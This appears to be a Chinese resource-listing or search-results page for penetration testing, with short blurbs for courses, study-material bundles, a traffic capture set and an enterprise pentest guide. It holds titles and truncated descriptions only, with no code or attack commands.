    您将学习白帽子和安全渗透测试技术的主要原则和基础。您还将探索专业的网络和安全主题,包括对白帽子,侦察,Kali Linux,漏洞利用和权限维持技术的介绍。本课程提供分步的实际场景。您将直接了解白帽子如何对受害者...
  • 渗透测试平台

    2018-08-28 10:33:09
    一款渗透测试实战平台。
  • 渗透测试实战

    2021-01-27 13:11:31
    在看白帽子们的漏洞的时候总有一种感觉就是把web渗透简单地理解成了发现web系统漏洞进而获取webshell。其实,个人感觉一个完整的渗透(从黑客的角度去思考问题)应该是...作为渗透测试的第一步,也是最重要地一步便是信
  • 渗透测试学习资料

    2018-12-11 19:30:20
    Python黑帽子 黑客与渗透测试编程之道 WEB入侵的全过程 Web入侵法总汇 web渗透测试常规套路 windosw下MySQL root用户密码重置 安全漏洞公共资源库 高度安全环境下的高级渗透测试 黑客网络入侵大型网站的完整思路 ...
  • 渗透测试数据包

    2019-04-11 08:23:50
    渗透测试流量数据包,Vega、WebCruiser、Tinfoil等在线扫描工具
  • 企业渗透测试指南

    2018-10-23 23:24:09
    企业渗透测试指南,渗透测试类型及方法概述,帮助了解企业渗透测试流程

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 66,249
精华内容 26,499
关键字:

渗透测试